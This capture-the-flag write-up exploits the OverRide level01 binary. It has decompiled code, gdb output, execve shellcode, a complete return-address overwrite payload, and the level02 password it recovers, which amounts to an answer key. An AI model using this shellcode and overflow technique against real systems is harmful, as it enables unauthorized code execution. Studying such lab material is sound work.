Skip to content

LEVEL 1

Margarete Mueller edited this page Oct 8, 2026 · 9 revisions

Program behavior

The binary prints a header and prompts for a username for continuing. After the username is entered, the program terminates if the username validation fails.

level01@OverRide:~$ ./level01 
********* ADMIN LOGIN PROMPT *********
Enter Username: level02
verifying username....

nope, incorrect username...

level01@OverRide:~$

If the username passes the validation, the input of a password is prompted. A wrong password terminates the execution.

level01@OverRide:~$ ./level01 
********* ADMIN LOGIN PROMPT *********
Enter Username: dat_wil
verifying username....

Enter Password: 
1234
nope, incorrect password...

level01@OverRide:~$

Static analysis

Ghidra

After decompiling the binary with Ghidra three relevant functions were identified: main, verify_user_name and verify_user_pass. The main obtains the two user inputs (username and password) and passes them to the other functions. The password is only prompted for when the username passed the verification.

main

undefined4 main(void)

{
   undefined4 uVar1;
   int iVar2;
   char *pcVar3;
   char local_54 [64];
   int local_14;
   
   pcVar3 = local_54;
   for (iVar2 = 0x10; iVar2 != 0; iVar2 = iVar2 + -1) {
      pcVar3[0] = '\0';
      pcVar3[1] = '\0';
      pcVar3[2] = '\0';
      pcVar3[3] = '\0';
      pcVar3 = pcVar3 + 4;
   }
   local_14 = 0;
   puts("********* ADMIN LOGIN PROMPT *********");
   printf("Enter Username: ");
   fgets(&a_user_name,0x100,stdin);
   local_14 = verify_user_name();
   if (local_14 == 0) {
      puts("Enter Password: ");
      fgets(local_54,100,stdin);
      local_14 = verify_user_pass(local_54);
      if ((local_14 == 0) || (local_14 != 0)) {
          puts("nope, incorrect password...\n");
          uVar1 = 1;
      }
      else {
          uVar1 = 0;
      }
   }
   else {
      puts("nope, incorrect username...\n");
      uVar1 = 1;
   }
   return uVar1;
}

The subsequent condition after the password verification in main is tautological, so the password verification result never leads to the success branch as shown.

verify_user_name

int verify_user_name(void)

{
   int iVar1;
   byte *pbVar2;
   byte *pbVar3;
   undefined1 uVar4;
   undefined1 uVar5;
   byte bVar6;
   
   bVar6 = 0;
   uVar4 = &stack0xfffffff4 < (undefined1 *)0x10;
   uVar5 = &stack0x00000000 == (undefined1 *)0x1c;
   puts("verifying username....\n");
   iVar1 = 7;
   pbVar2 = &a_user_name;
   pbVar3 = (byte *)"dat_wil";
   do {
      if (iVar1 == 0) break;
      iVar1 = iVar1 + -1;
      uVar4 = *pbVar2 < *pbVar3;
      uVar5 = *pbVar2 == *pbVar3;
      pbVar2 = pbVar2 + (uint)bVar6 * -2 + 1;
      pbVar3 = pbVar3 + (uint)bVar6 * -2 + 1;
   } while ((bool)uVar5);
   return (int)(char)((!(bool)uVar4 && !(bool)uVar5) - uVar4);
}

The important observations are:

  • The expected username is dat_wil
  • Only seven characters are compared
  • No username length check is apparent in the shown code
  • Additional characters after the first seven do not affect the comparison result

vverify_user_pass

int verify_user_pass(byte *param_1)

{
   int iVar1;
   byte *pbVar2;
   undefined1 in_CF;
   undefined1 in_ZF;
   
   iVar1 = 5;
   pbVar2 = (byte *)"admin";
   do {
      if (iVar1 == 0) break;
      iVar1 = iVar1 + -1;
      in_CF = *param_1 < *pbVar2;
      in_ZF = *param_1 == *pbVar2;
      param_1 = param_1 + 1;
      pbVar2 = pbVar2 + 1;
   } while ((bool)in_ZF);
   return (int)(char)((!(bool)in_CF && !(bool)in_ZF) - in_CF);
}

Although verify_user_pass() compares the password against admin, the return value has no practical effect on the program's control flow. The condition (local_14 == 0) || (local_14 != 0) is always true, so the "nope, incorrect password..." branch is always executed.

objdump

Further useful information can be obtained for the used variables.

The variable a_user_name that we've identified in the decompiled code is a global variable and we can obtain it's address and size:

$ objdump -t ./level01 | grep a_user_name
0804a040 g     O .bss	00000064              a_user_name

The variable is stored at 0x0804a040 and has the size of 100 bytes (00000064 in hex).

Vulnerability identification

After decompiling the code with Ghidra and a first analysis we can see, that the first user input for the username is compared against the string

dat_wil

The password check does not provide a shell or print the required .pass contents to go to the next level.

But the initial analysis reveals two potential vulnerabilities:

  1. Username input: The program reads user input into a global variable using fgets with a maximum size of 256 bytes. The username verification only compares the first seven characters against the expected username, dat_wil. This means additional data after the expected username does not affect the comparison. However, the size of the destination object is only 100 bytes (theoretically 99 characters of input, as the last byte is reserved for the null-terminator) so the input can cause an out-of-bounds write because the destination is only 100 bytes while fgets is instructed to accept up to 255 characters.
  2. Password input: The password is read into a 64-byte local stack buffer using fgets with a maximum size of 100 bytes. Since the function can write more data than the buffer can hold, this creates a stack-based buffer overflow. The overflow can corrupt adjacent stack data, including the saved frame pointer and return address.

The exploitation approach is to investigate whether the overflow allows control over the return address and whether execution can be redirected to code placed in a suitable memory region. The feasibility of executing injected shellcode depends on the binary's memory protections and the target environment.

Shellcode injection

fgets writes up to 255 bytes from the user input into the variable a_user_name and ends it with the null-terminator. Since a_user_name is only 100 bytes large, this allows an out-of-bounds write of up to 156 bytes beyond the variable. The username verification only checks for the first 7 characters and does not contain a length check for the user input. That makes this user input a suitable place to put the shellcode \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80 which with 23 bytes is short enough to fit into the limit of 100 bytes, even when concatenating the expected username dat_wil in front of it to pass the username verification.

Shellcode address calculation

From the disassembled code

8048521:    c7 04 24 40 a0 04 08     movl   $0x804a040,(%esp)
8048528:    e8 43 fe ff ff           call   8048370 <fgets@plt>

we know that the address of the first user input is written into 0x804a040 aka a_user_name. As the required string to pass the validation has the length of 7 bytes, we can simply try add arbitrary characters afterwards and check the content of the respective memory in gdb.

level01@OverRide:~$ gdb -q ./level01 
Reading symbols from /home/users/level01/level01...(no debugging symbols found)...done.
(gdb) break verify_user_pass
Breakpoint 1 at 0x80484a8
(gdb) run
Starting program: /home/users/level01/level01 
********* ADMIN LOGIN PROMPT *********
Enter Username: dat_wilabcdefghijklmnopqrstuvwxyz
verifying username....

Enter Password: 
1234

Breakpoint 1, 0x080484a8 in verify_user_pass ()
(gdb) x/32bx 0x804a040
0x804a040 <a_user_name>:	0x64	0x61	0x74	0x5f	0x77	0x69	0x6c	0x61
0x804a048 <a_user_name+8>:	0x62	0x63	0x64	0x65	0x66	0x67	0x68	0x69
0x804a050 <a_user_name+16>:	0x6a	0x6b	0x6c	0x6d	0x6e	0x6f	0x70	0x71
0x804a058 <a_user_name+24>:	0x72	0x73	0x74	0x75	0x76	0x77	0x78	0x79

Our assumption that the input is stored contiguously is confirmed by inspecting the memory in GDB and we obtain 0x804a047 by simply adding the used 7 bytes to the start of the variable address.

0x0804a040 + 7 = 0x0804a047

Return-address overwrite

The second user input is stored in a variable, that only can hold 64 bytes, but the fgets takes up to 100 bytes from the user input. This gives us the possibility to overflow the memory. In gdb we can check, how we can overwrite the stored address pointers for the respective run:

level01@OverRide:~$ gdb -q ./level01 
Reading symbols from /home/users/level01/level01...(no debugging symbols found)...done.
(gdb) run
Starting program: /home/users/level01/level01 
********* ADMIN LOGIN PROMPT *********
Enter Username: dat_wil
verifying username....

Enter Password: 
aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzz
nope, incorrect password...


Program received signal SIGSEGV, Segmentation fault.
0x75757575 in ?? ()
(gdb) i r
eax            0x1	1
ecx            0xffffffff	-1
edx            0xf7fd08b8	-134412104
ebx            0x72727272	1920103026
esp            0xffffd710	0xffffd710
ebp            0x74747474	0x74747474
esi            0x0	0
edi            0x73737373	1936946035
eip            0x75757575	0x75757575
eflags         0x10286	[ PF SF IF RF ]
cs             0x23	35
ss             0x2b	43
ds             0x2b	43
es             0x2b	43
fs             0x0	0
gs             0x63	99

The register state shows that data from our input has overwritten several saved stack values. Most importantly, EIP contains 0x75757575, demonstrating control over the saved return address.

Register Value Interpretation
EBX 0x72727272 Overwritten with rrrr
EDI 0x73737373 Overwritten with ssss
EBP 0x74747474 Overwritten with tttt
EIP 0x75757575 Instruction pointer overwritten with uuuu

The instruction pointer (EIP) identifies the address of the next instruction to execute on 32-bit x86. By overwriting the saved return address, the overflow can redirect control flow when the vulnerable function returns.

The next step is to establish the exact offset to the saved return address and verify the location and accessibility of the intended destination.

aaaa  0–3
bbbb  4–7
cccc  8–11
...
ssss  72–75
tttt  76–79
uuuu  80–83

The first byte of EIP is reached after 80 bytes of input. The four bytes at offsets 80–83 overwrite EIP with 0x75757575 (uuuu). This is our necessary offset.

Payload explanation

(python -c 'import struct, sys, time; \
target = struct.pack("<I", 0x0804a047); \
input1 = "dat_wil" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"; \
input2 = "B"*80 + target; \
sys.stdout.write(input1 + "\n"); \
sys.stdout.flush(); \
time.sleep(0.5); \
sys.stdout.write(input2 + "\n"); \
sys.stdout.flush()'; cat) | ./level01
  • input1 contains the string to bypass the username verification and a shellcode to spawn a shell
  • input1 is sent first because the program requests the username before the password
  • input2 contains the offset to override the instruction pointer eip and the address to our injected shellcode
  • The delay and flush() calls help ensure that the first input is delivered before the second input is written.
  • The trailing cat keeps the pipe's input open, which can be useful if the spawned shell needs to receive further commands interactively.
cat /home/users/level02/.pass

and is

PwBLgNa8p8MTKW57S7zxVAQCxnCpV8JqTTs9XEBv

Clone this wiki locally